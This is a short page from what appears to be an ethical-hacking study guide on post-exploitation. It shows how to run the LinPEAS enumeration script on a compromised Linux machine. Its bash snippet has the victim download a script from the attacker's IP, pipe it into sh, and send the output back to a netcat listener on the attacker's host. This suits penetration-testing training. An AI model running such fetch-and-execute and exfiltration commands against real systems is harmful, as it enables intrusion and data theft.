> For the complete documentation index, see [llms.txt](https://ceh.securescape.cc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ceh.securescape.cc/post-exploitation/file-transfer/linpeas.md).

# Linpeas

### Execute on Victim and send output to Host

```bash
#Host
nc -lvnp 9002 | tee linpeas.out 

#Victim
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 
```